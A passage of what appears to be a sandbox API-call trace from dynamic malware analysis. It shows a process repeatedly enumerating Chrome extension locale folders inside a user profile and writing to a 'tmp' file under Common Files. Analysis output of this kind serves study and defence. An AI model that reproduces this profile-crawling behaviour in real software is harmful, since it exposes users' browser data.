"c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.090] GetFileType (hFile=0x19c) returned 0x1 [0133.090] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x27000, nFileSizeHigh=0x0, nFileSizeLow=0x26c87, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.090] AreFileApisANSI () returned 1 [0133.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.090] GetFileType (hFile=0x19c) returned 0x1 [0133.090] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x27000, nFileSizeHigh=0x0, nFileSizeLow=0x26d8a, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.090] AreFileApisANSI () returned 1 [0133.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.091] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.091] GetFileType (hFile=0x19c) returned 0x1 [0133.091] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x27000, nFileSizeHigh=0x0, nFileSizeLow=0x26e8d, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.091] AreFileApisANSI () returned 1 [0133.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.091] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.091] GetFileType (hFile=0x19c) returned 0x1 [0133.091] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x27000, nFileSizeHigh=0x0, nFileSizeLow=0x26f90, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.091] AreFileApisANSI () returned 1 [0133.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.091] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.091] GetFileType (hFile=0x19c) returned 0x1 [0133.092] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x28000, nFileSizeHigh=0x0, nFileSizeLow=0x27093, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.092] AreFileApisANSI () returned 1 [0133.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.092] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.092] GetFileType (hFile=0x19c) returned 0x1 [0133.092] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x28000, nFileSizeHigh=0x0, nFileSizeLow=0x27196, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.092] AreFileApisANSI () returned 1 [0133.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.092] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.092] GetFileType (hFile=0x19c) returned 0x1 [0133.092] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x28000, nFileSizeHigh=0x0, nFileSizeLow=0x27299, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.092] AreFileApisANSI () returned 1 [0133.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.092] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.092] GetFileType (hFile=0x19c) returned 0x1 [0133.093] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x28000, nFileSizeHigh=0x0, nFileSizeLow=0x2739c, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x90\x80\x83")) returned 0xffffffff [0133.093] AreFileApisANSI () returned 1 [0133.093] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.093] GetFileType (hFile=0x19c) returned 0x1 [0133.093] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x28000, nFileSizeHigh=0x0, nFileSizeLow=0x2749f, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.093] AreFileApisANSI () returned 1 [0133.093] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.093] GetFileType (hFile=0x19c) returned 0x1 [0133.093] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x28000, nFileSizeHigh=0x0, nFileSizeLow=0x275a2, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.093] AreFileApisANSI () returned 1 [0133.093] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.093] GetFileType (hFile=0x19c) returned 0x1 [0133.093] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x28000, nFileSizeHigh=0x0, nFileSizeLow=0x276a8, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.094] AreFileApisANSI () returned 1 [0133.094] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.094] GetFileType (hFile=0x19c) returned 0x1 [0133.094] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x28000, nFileSizeHigh=0x0, nFileSizeLow=0x277ae, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.094] AreFileApisANSI () returned 1 [0133.094] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.094] GetFileType (hFile=0x19c) returned 0x1 [0133.094] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x28000, nFileSizeHigh=0x0, nFileSizeLow=0x278b1, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.094] AreFileApisANSI () returned 1 [0133.094] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.094] GetFileType (hFile=0x19c) returned 0x1 [0133.094] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x28000, nFileSizeHigh=0x0, nFileSizeLow=0x279b4, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.095] AreFileApisANSI () returned 1 [0133.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.095] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.095] GetFileType (hFile=0x19c) returned 0x1 [0133.095] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x28000, nFileSizeHigh=0x0, nFileSizeLow=0x27ab7, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.095] AreFileApisANSI () returned 1 [0133.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.095] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.095] GetFileType (hFile=0x19c) returned 0x1 [0133.095] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x28000, nFileSizeHigh=0x0, nFileSizeLow=0x27bba, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.095] AreFileApisANSI () returned 1 [0133.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.095] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.095] GetFileType (hFile=0x19c) returned 0x1 [0133.095] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x28000, nFileSizeHigh=0x0, nFileSizeLow=0x27cbd, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.096] AreFileApisANSI () returned 1 [0133.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.096] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.096] GetFileType (hFile=0x19c) returned 0x1 [0133.096] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x28000, nFileSizeHigh=0x0, nFileSizeLow=0x27dc0, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.096] AreFileApisANSI () returned 1 [0133.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.096] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.096] GetFileType (hFile=0x19c) returned 0x1 [0133.096] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x28000, nFileSizeHigh=0x0, nFileSizeLow=0x27ec3, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.096] AreFileApisANSI () returned 1 [0133.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.096] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.096] GetFileType (hFile=0x19c) returned 0x1 [0133.097] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x28000, nFileSizeHigh=0x0, nFileSizeLow=0x27fc6, dwReserved0=0x0, dwReserved1=0x1, cFileName="", 